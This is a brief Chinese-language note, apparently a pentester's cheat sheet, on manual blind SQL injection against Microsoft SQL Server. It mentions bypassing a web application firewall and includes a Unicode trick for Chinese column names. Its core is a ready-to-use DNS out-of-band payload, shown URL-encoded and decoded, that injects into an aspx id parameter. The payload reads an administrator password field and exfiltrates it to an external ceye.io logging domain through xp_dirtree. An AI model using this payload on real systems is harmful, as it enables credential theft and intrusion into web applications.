mssql手工盲注

遇到中文的列名

利用unicode 进行单字节的转换

declare @s varchar(50);
set @s = N'拉';
select UniCode(@s),nchar(UniCode(@s));

绕狗sql 方法

dns log盲注

1  /xx.aspx?id=1'--/%2a%0a%3bDECLARE+%40host+varchar(1024)%3bSELECT+%40host%3dCONVERT(varchar(1024),(select+top+1+user_pwd+from+gt.dbo.dt_manager+where+id=1))%2b'.czj.pw2.lf0145.ceye.io'%3bEXEC('master..xp_dirtree+"\\'%2b%40host%2b'\foobar$"')%3b--%20a%2a/ 

View Code

URLdecode

/xx.aspx?id=1'--/* 2 ;DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),(select top 1 user_pwd from gt.dbo.dt_manager where id=1))+'.czj.pw2.lf0145.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');-- a*/